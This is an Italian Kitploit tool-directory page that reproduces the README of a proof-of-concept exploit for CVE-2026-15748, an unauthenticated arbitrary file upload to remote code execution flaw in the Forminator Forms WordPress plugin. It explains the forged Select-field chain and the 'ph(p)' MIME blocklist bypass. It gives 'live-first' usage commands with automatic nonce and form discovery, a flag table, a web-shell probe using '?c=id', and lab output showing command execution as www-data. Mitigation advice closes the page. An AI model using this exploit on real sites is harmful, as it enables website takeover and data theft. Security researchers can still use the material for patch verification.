Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-15748 — Forminator Forms <= 1.56.1 - Caricamento arbitrario di file non autenticato tramite configurazione contraffatta del campo di caricamento | Kitploit
Strumenti/GitHubGitHub/ubaydev/cve-2026-15748
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingRed Teaming
GitHububaydev/cve-2026-15748

CVE-2026-15748

Forminator Forms <= 1.56.1 - Caricamento arbitrario di file non autenticato tramite configurazione contraffatta del campo di caricamento

Vedi Repository
321 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-15748 — Caricamento arbitrario di file senza autenticazione in Forminator Forms → RCE

CVSS 9.8 (Critico) · Versioni interessate: Forminator <= 1.56.1 · Corretta: 1.56.2 Ricercatore: daroo (Wordfence Bug Bounty, $2,048) · ~600k installazioni attive Report: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/

Catena della causa principale

Tre debolezze concatenate tramite un valore falsificato del campo Select:

  1. Nessuna sanificazione sugli array di campi annidati — Forminator_CForm_Front_Action::set_field_data() prepare_fields_info() itera ogni campo memorizzato. Per il campo Select memorizzato select-1, $field_data = prepared_data['select-1'] (array annidato controllato dall'attaccante). Quando contiene , l'array viene aggiunto interamente a (front-action.php ~riga 1088), prima di qualsiasi sanificazione/validazione per campo. non li rimuove.

return
field_data_array
maybe_handle_custom_option()
  • Configurazione di campo non attendibile considerata affidabile durante l'upload — Forminator_CForm_Front_Action::process_uploads() itera field_data_array, si fida del field_type == 'upload' falsificato, usa il name falsificato per selezionare un input $_FILES, e passa field_array falsificato come configurazione affidabile a Forminator_Upload::handle_file_upload().

  • Bypass della blocklist tramite chiave esatta — forminator_allowed_mime_types() rimuove la chiave letterale php, ma wp_check_filetype() tratta le chiavi come regex. La chiave ph(p) sopravvive alla blocklist ma corrisponde al suffisso .php. additional-type = ph(p)|text/x-php permette a un file .php di superare la validazione.

  • Condizione di sfruttabilità

    Un form pubblicato deve contenere sia un campo File Upload sia un campo Select. Select è solo il veicolo.

    Avvertenza sull'esecuzione (VERIFICATA IN LAB)

    • Il caricamento di .php arbitrari su disco riesce per impostazione predefinita (nessuna configurazione speciale necessaria per la scrittura).
    • Per la RCE è necessario che la root di upload non abbia Apache .htaccess. La root predefinita di Forminator e una root personalizzata ricevono entrambe un .htaccess che blocca PHP (SetHandler none / RemoveHandler). La RCE scatta solo quando quel .htaccess è assente — lo scenario del report: "root di storage personalizzata creata durante una richiesta frontend in cui insert_with_markers() non è caricato".
    • In laboratorio abbiamo ottenuto la RCE usando una root di storage personalizzata e simulando lo stato senza .htaccess.

    Percorso di upload e hash (importante per i test live)

    • Root predefinita: wp-content/uploads/forminator/ → file in wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.
    • Root personalizzata: se l'amministratore ha impostato forminator_custom_upload_root (es. cveuploads), i file finiscono in wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.
    • L'<hash> è wp_hash($form_id) — derivato dai salt AUTH del sito, quindi non prevedibile esternamente. poc.py stampa il pattern del percorso; per completarlo devi recuperare l'hash (directory listing, URL/log di un file già caricato, una voce nell'admin, ecc.) tramite --form-hash.
    • Nome del file caricato = wp_generate_password(12,false,false) . '-' . <original> → es. cX3fRjMDDu03-shell.php (12 caratteri alfanumerici casuali + - + nome originale).

    Utilizzo — poc.py

    Progettato per essere live-first; gli helper per il laboratorio locale (scansione del file system, rimozione del .htaccess) sono limitati a http://wordpresslab.test / http://localhost.

    root@kitploit:~
    # A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
    python3 poc.py --target https://site.tld/                       # url-only -> fetches index
    python3 poc.py --target https://site.tld/kontak                # path given -> fetches that page
    python3 poc.py --target https://site.tld/ --page-id 42         # append ?page_id=42
    
    # B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
    python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
    
    # C) Verify a candidate shell URL on a live target
    python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
        --verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
    
    # D) local lab: full RCE (scans container FS, removes .htaccess, executes)
    python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
    

    Flag

    FlagSignificato
    --targetURL base (o URL completo della pagina quando non ci sono --page-id/manuale)
    --page-idid del post; se vuoto, viene recuperata la URL target stessa per nonce/form_id
    --form-id, --noncebypassa la scoperta; recupera comunque la pagina per la raccolta --auto
    --upload-fieldnome del campo upload genuino (default upload-1)
    --forge-nameveicolo $_FILES falsificato (default = nome genuino, modalità collisione; usa un nome distinto per un success=True pulito)
    --selectcampo select da usare (default select-1)
    --extra name=valueforza un valore di campo (ripetibile; --extra 'checkbox-1[]=a+b' per più valori)
    --auto / --no-autoraccoglie i campi reali del form dall'HTML e auto-compila valori plausibili in base al tipo (default attivo)
    --upload-rootroot di upload relativa (default wp-content/uploads/forminator; imposta es. wp-content/uploads/cveuploads per root personalizzata)
    --form-hashla parte <hash> della directory di upload → completa/stampa una URL concreta
    --verify-urllive: sonda una URL di shell candidata con ?c=id/?c=whoami
    --find-shellsolo locale (wordpresslab.test/localhost): trova la *-shell.php più recente, rimuove .htaccess, esegue
    --no-htaccessstampa la nota sulla rimozione del .htaccess nel lab locale

    Mappatura dei valori --auto (estratti dal HTML del form)

    Tipo di campoValore generato
    email / il nome contiene emailauto<rand>@mailinator.com
    tel / il nome contiene phone10 cifre casuali
    url / il nome contiene urlhttps://example.com/<rand>
    numbernumero casuale 1–9999
    date2026-08-19
    gruppo checkbox/radio name[]primo valore di opzione (vengono scansionati tutti gli input con lo stesso nome)
    checkbox/radio singoloattributo value, fallback checked
    <select> (non veicolo)prima opzione non vuota
    <textarea>testo casuale
    testo semplice10 caratteri casuali

    Esclusi: campi interni (action/form_id/nonce/...), type="file" (upload-*), select-* (veicolo dell'exploit), calculation-* (calcolati) e campi di plugin esterni (wpforms[...]).

    Riproduzione in laboratorio (wordpresslab.test, WP 6.9.4 + Forminator 1.56.1)

    Setup:

    • Form con un campo Upload genuino + un campo Select (creato tramite build_form.php, API Forminator_Form_Model).
    • Root di storage upload personalizzata abilitata (forminator_custom_upload=1, forminator_custom_upload_root=cveuploads) per poter dimostrare la RCE. cveuploads/ è un artefatto da laboratorio, non un default di Forminator.
    • Nota di progettazione: per un success=True pulito, il name falsificato deve differire dall'element_id del campo upload genuino. Un nome in collisione carica comunque il file ma il campo genuino esegue anche il proprio controllo mime di default → la risposta riporta un errore mentre la shell è già su disco.

    Prova grezza (esecuzione in lab):

    root@kitploit:~
    # default path pattern (hash is site-secret):
    wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
    
    [+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
    ?c=id     -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ?c=whoami -> CVE-2026-15748-RCE www-data
    
    # .htaccess present (protected): request returns raw PHP source (not executed)
    

    File

    • poc.py — PoC live-first (auto-discovery, auto-compilazione, verify-url, helper RCE locale)
    • build_form.php — costruttore programmatico del form di laboratorio (upload + select) tramite API del modello
    • README.md — questo documento

    Mitigazioni

    • Aggiorna a Forminator >= 1.56.2 (blocca il bypass della mime blocklist + il percorso della configurazione del campo considerata affidabile).
    • Assicurati che qualsiasi root di storage upload personalizzata sia coperta dalle protezioni .htaccess/index di Forminator.
    • Esegui il PoC solo contro target che sei autorizzato a testare.
    Scarica lo strumento